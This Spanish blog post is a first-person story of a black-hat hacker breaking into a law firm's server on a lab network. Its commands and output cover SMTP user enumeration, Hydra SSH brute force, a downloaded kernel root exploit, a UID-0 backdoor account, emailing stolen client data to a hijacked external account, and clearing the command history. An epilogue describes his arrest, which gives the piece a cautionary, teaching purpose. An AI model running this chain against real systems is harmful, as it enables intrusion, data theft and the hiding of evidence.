Día 1.
Suena el teléfono a las 3 de la tarde, justo a la hora de comer. Descuelgo y una voz al otro lado me dice que le ha pasado mi contacto un amigo común y que quiere proponerme un “trabajito”.Como hacker de sombrero negro (hacker malicioso) me gano la vida atacando sistemas para empresas que me contratan por suculentas cantidades, así que rápidamente acepto el trabajo.
Mi interlocutor, que no se identifica, me pide el listado de clientes de la empresa ABOGADOS S.A, que supongo que es su empresa rival, pero como es costumbre en este trabajo, no hago más preguntas que las precisas.
Durante la tarde me dedico a recopilar información sobre la empresa. Casi todo está en Internet. Se trata de una empresa de servicios jurídicos. No muy grande, lo cual me extraña porque suelo trabajar para grandes empresas.
Localizo uno de sus servidores (probablemente el único que tienen) así que usando la herramienta nmap escaneo los puertos.
root@bt:~# nmap -sV -O 192.168.56.101 Starting Nmap 6.01 ( http://nmap.org ) at 2013-06-01 12:12 CEST Nmap scan report for 192.168.56.101 Host is up (0.00040s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh 25/tcp open smtp 80/tcp open http MAC Address: 08:00:27:99:C3:DE (Cadmus Computer Systems) Device type: general purpose OpenSSH 4.2p1 Debian 7ubuntu3.2 (protocol 2.0) Exim smtpd 4.60 Apache httpd 2.0.55 ((Ubuntu) PHP/5.1.2) Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9 - 2.6.31 Network Distance: 1 hop Service Info: Host: victima; OS: Linux; CPE: cpe:/o:linux:kernel OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.64 seconds
Tiene un servidor web Apache 2.0.55 con PHP 5.1.2. También dispone de un servidor SMTP Exim4.60. El sistema operativo es Linux con un kernel de la serie 2.6.
Me llama la atención que tienen un servidor SSH en el puerto 22, por lo que parece que, al menos algún usuario, suele conectarse de forma remota por terminal.
En definitiva, un sistema no muy actualizado. De hecho me suena que la versión de Exim que utilizan tenía alguna vulnerabilidad remota. Tendré que mirar en mi base de datos de vulnerabilidades.
En cualquier caso, me decido por intentar la entrada a través de SSH, para lo que necesito un nombre de usuario de algún trabajador y su contraseña.
Recurro a la ingeniería social y hago una llamada a la empresa:
- ABOGADOS S.A., buenos días.
- Buenos días, he visto en su web que dan servicios de asesoría jurídica para empresas. ¿podría hablar con alguien para ver precios y condiciones?
- Si, por supuesto, déjeme su nombre y número de teléfono y le llama nuestro comercial en 5 ó 10 minutos.
- Vale, mi nombre es... ummm. Lo que pasa es que voy a entrar a una reunión y no sé cuanto voy a tardar. ¿Me da el nombre del comercial y su teléfono y yo lo llamo en cuanto salga?
- Si, claro. Pedro Sánchez. Teléfono 654XXXXXX.
- Muchas gracias. Un saludo.
Bien, ya tengo un nombre. Es un poco tarde, así que mañana seguiré con mis pesquisas.
Día 2
Tengo un nombre -Pedro Sánchez-, pero ahora necesito saber cuál es su nombre de usuario en el sistema. Seguramente psanchez, pedro.sanchez, pedrosan o algo similar.Necesito saberlo a ciencia cierta, así que vamos a aprovechar que tienen un servidor SMTP para sacar la información que necesitamos. Conecto al puerto 25 del servidor por telnet, y usando los comandos del protocolo SMTP interrogo al servidor de correo.
root@bt:~# telnet 192.168.56.101 25 Trying 192.168.56.101... Connected to 192.168.56.101. Escape character is '^]'. 220 victima ESMTP Exim 4.60 Sat, 01 Jun 2013 12:27:12 +0200 HELO terra.es 250 victima Hello terra.es [192.168.56.102] MAIL FROM:250 OK RCPT TO: <psanchez@localhost> 550 unknown user RCPT TO: <pedro.sanchez@localhost> 550 unknown user RCPT TO: <pedrosan@localhost> 550 unknown user RCPT TO: <pedro@localhost> 250 Accepted quit Connection closed by foreign host.
¡Bingo! Su nombre de usuario es pedro a secas. Muy original.
Ahora sólo necesitamos su contraseña de acceso. Es un comercial, así que no es una persona muy técnica. No creo que su password sea muy robusta, así que vamos a usar la herramienta Hydra para hacer un ataque por diccionario.
Para ello uso mi diccionario de passwords habitual que he descargado de:
https://dazzlepod.com/site_media/txt/passwords.txt
Hydra acepta varios tipos de parámetros, pero los que me interesan son -l para indicar el nombre de usuario y -P para indicar cuál es el archivo de texto que contiene el diccionario de passwords. Finalmente, le indico el servidor que quiero atacar y el protocolo, en este caso, ssh.
root@bt:~# hydra -l pedro -P passwords.txt 192.168.56.101 ssh Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 12:39:42 [DATA] 16 tasks, 1 server, 2151236 login tries (l:1/p:2151236), ~134452 tries per task [DATA] attacking service ssh on port 22 [STATUS] 259.00 tries/min, 259 tries in 00:01h, 2150977 todo in 138:25h, 16 active [STATUS] 266.00 tries/min, 798 tries in 00:03h, 2150438 todo in 134:45h, 16 active [STATUS] 260.00 tries/min, 1820 tries in 00:07h, 2149416 todo in 137:47h, 16 active [22][ssh] host: 192.168.56.101 login: pedro password: awesome0 [STATUS] attack finished for 192.168.56.101 (waiting for children to finish) 1 of 1 target successfuly completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 12:51:15
¡Tenemos la clave! Usuario pedro y clave awesome0. No ha sido tan difícil. Vamos a probar a conectarnos y explorar un poco el sistema a ver qué encontramos.
root@bt:~# ssh 192.168.56.101 -l pedro pedro@192.168.56.101's password: Linux victima 2.6.15-51-server #1 SMP Thu Dec 6 21:37:18 UTC 2007 i686 GNU/Linux The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Bien, se trata de un Linux con kernel 2.6.15. Algo antiguo y seguramente sin parchear. Estamos de suerte.
Vamos a ver qué usuarios hay en el sistema.
pedro@victima:~$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash alberto:x:1000:1000:alberto,,,:/home/alberto:/bin/bash director:x:1001:1001:Director,,,:/home/director:/bin/bash juan:x:1002:1002:juan,,,:/home/juan:/bin/bash pedro:x:1003:1003:pedro,,,:/home/pedro:/bin/bash
Tenemos a varios usuarios, pero el más me llama la atención es uno llamado director. A ver qué guarda en su directorio home.
pedro@victima:~$ ls /home/director/ agenda clientes contraseñas datos_contables
Bien, tiene un archivo llamado clientes. Esto promete. A ver que tiene.
pedro@victima:~$ cat /home/director/clientes cat: /home/director/clientes: Permission denied
No podía ser tan fácil. El usuario pedro no tiene permisos de lectura para el archivo clientes. Pruebo de nuevo con Hydra para ver si puedo sacar la contraseña del usuario director, pero sin éxito. Su clave es más robusta que la de pedro.
Sólo me queda una opción. Lograr escalar privilegios y convertirme en root.
Día 3
Por suerte, el kernel del sistema operativo no está actualizado, así que lo más probable es que tenga alguna vulnerabilidad. Busco en http://www.exploit-db.com y localizo una vulnerabilidad para kernels Linux con versiones anteriores a 2.6.19. Como la de la máquina víctima es 2.6.15, creo que me vendrá como anillo al dedo.Esta es la vulnerabilidad que me propongo explotar:
http://www.exploit-db.com/exploits/9575/
Se trata de un código fuente en C que explota un bug en la función udp_sendmsg() de la implementación del protocolo UDP. Permite a usuarios locales ganar privilegios o causar una denegación de servicio forzando un NULL pointer dereference.
Para compilar el exploit tenemos dos opciones. O lo compilamos estáticamente en otra máquina o probamos suerte y si la víctima tiene instalado el compilador de C, lo tendremos aún más fácil. El código fuente del exploit está directamente accesible a través de la URL siguiente.
http://www.exploit-db.com/download/9575
Así que vamos a probar suerte en el servidor de la víctima descargado con wget el código fuente y tratando de compilarlo.
pedro@victima:~$ wget http://www.exploit-db.com/download/9575 -O xpl.c --2013-06-01 13:26:27-- http://www.exploit-db.com/download/9575 Resolving www.exploit-db.com... 23.23.150.193, 23.23.129.3 Connecting to www.exploit-db.com|23.23.150.193|:80... connected. HTTP request sent, awaiting response... 301 Moved Permanently Location: http://www.exploit-db.com/download/9575/ [following] --2013-06-01 13:26:29-- http://www.exploit-db.com/download/9575/ Reusing existing connection to www.exploit-db.com:80. HTTP request sent, awaiting response... 200 OK Length: 6520 (6.4K) [application/txt] Saving to: `xpl.c' 100%[===========================================>] 6,520 --.-K/s in 0.003s 2013-06-01 13:26:30 (1.78 MB/s) - `xpl.c' saved [6520/6520]
Pruebo a compilarlo.
pedro@victima:~$ gcc -o xpl xpl.c pedro@victima:~$ ls xpl xpl.c
Lo ejecuto.
pedro@victima:~$ ./xpl hoagie_udp_sendmsg.c - linux root <= 2.6.19 local -andi / void.at sh-3.1# whoami root
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
por:
irc:x:0:0:ircd:/var/run/ircd:/bin/sh
He cambiado el ID de usuario de 39 a 0, que es el UID de root. Cualquier usuario con UID 0 es administrador de la máquina. Lo mismo hemos hecho con el grupo. También he cambiado la password de este usuario para asegurarme el acceso. Le pongo la password atacante. Abro otra terminal y compruebo que tengo acceso con el usuario irc.
root@bt:~# ssh 192.168.56.101 -l irc irc@192.168.56.101's password: Linux victima 2.6.15-51-server #1 SMP Thu Dec 6 21:37:18 UTC 2007 i686 GNU/Linux The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Could not chdir to home directory /var/run/ircd: No such file or directory root@victima:/# whoami root
Todo correcto. Borro las pruebas del exploit.
rm xpl*
Y por último, me envío el fichero de clientes a una cuenta de correo externa que tengo hackeada de otra víctima, para que no puedan rastrearme. Lo hago usando el comando mail.
mail -s “Datos de clientes” victimaemail@terra.es < /home/director/clientes
Borro el historial de comandos.
history -c
Misión cumplida...
Epílogo
Obviamente, a los pocos meses, una pareja de la Guardia Civil, perteneciente al grupo de delitos telemáticos se presentó en casa del "Hacker" y lo detuvo. Se enfrenta a una pena de cárcel bastante grande. Un equipo de profesionales de la seguridad fue capaz de realizar un análisis forense del servidor implicado y poner las pruebas obtenidas a disposición de un juez. Tras la instrucción del caso y la identificación del cibercriminal, éste fue detenido.La historia de como los analistas forenses obtuvieron la información necesaria para cazar al criminal es también interesante, pero esa os la cuento otro día.
Comentarios
Publicar un comentario